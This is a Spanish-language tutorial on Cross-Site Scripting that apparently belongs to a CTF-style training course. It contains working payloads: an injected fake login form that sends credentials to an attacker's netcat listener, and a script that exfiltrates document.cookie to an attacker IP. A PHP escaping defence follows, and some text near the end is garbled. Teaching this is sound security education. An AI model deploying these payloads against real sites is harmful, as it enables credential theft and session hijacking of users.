Práctica sobre ataques Cross-Site Scripting (XSS). El XSS ocurre cuando una aplicación web incluye datos no confiables en una página web sin la validación o el escape adecuados. Esto permite a un atacante ejecutar scripts maliciosos (normalmente JavaScript) en el navegador de la víctima.
Podemos usar XSS para inyectar HTML, no solo JavaScript. Aquí inyectaremos un formulario de login falso sobre la página legítima. Ponemos Netcat en escucha en el puerto deseado:
nc -lvp 1337
Inyectamos el siguiente payload en un campo vulnerable (como una sección de comentarios). El formulario sobrescribe visualmente la web y envía las credenciales directamente a nuestra máquina (10.0.2.15):
<script>alert('Por favor, inicia sesion para continuar')</script>
<h3>Para continuar navegando, inicie sesión</h3>
<form action="http://10.0.2.15:1337">
Username:<br>
<input type="text" name="username"><br>
Password:<br>
<input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
Tip de Red Team: Con la API de Speech Synthesis nativa de JS podemos hacer el engaño más convincente añadiendo una voz robótica que pida el inicio de sesión.
La función document.cookie devuelve las cookies del navegador. Si la cookie de sesión no está protegida, podemos robarla para suplantar la identidad de la víctima. Usaremos un payload que crea una imagen invisible, forzando al navegador a hacer una petición a nuestro servidor con la cookie adjunta en la URL.
<script>
var img = new Image();
img.src = "http://10.0.2.15:800/log.php?c=" + document.cookie;
</script>
En nuestro listener (nc -lvp 800) recibiremos una petición GET silenciosa con la cookie de sesión del administrador.
He preparado un simulador de un Buscador de Artículos vulnerable a XSS Reflejado. Intenta ejecutar un script básico o intentar robar las cookies del entorno simulado.
>_ INICIAR RETO CTF 03La regla de oro contra el XSS es: Nunca confíes en el input del usuario. En PHP, htmlspecialchars() convierte los caracteres especiales en entidades HTML seguras:
<?php
// Antes de mostrar cualquier entrada de usuario en pantalla:
$input = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo $input;
?>
Caracteres que escapa de forma segura:
< se convierte en <> se convierte en >" se convierte en "Resultado: Si el atacante inyecta <script>, el navegador lo renderiza literalmente en pantalla como texto plano, arruinando el ataque.
document.cookie devolverá vacío).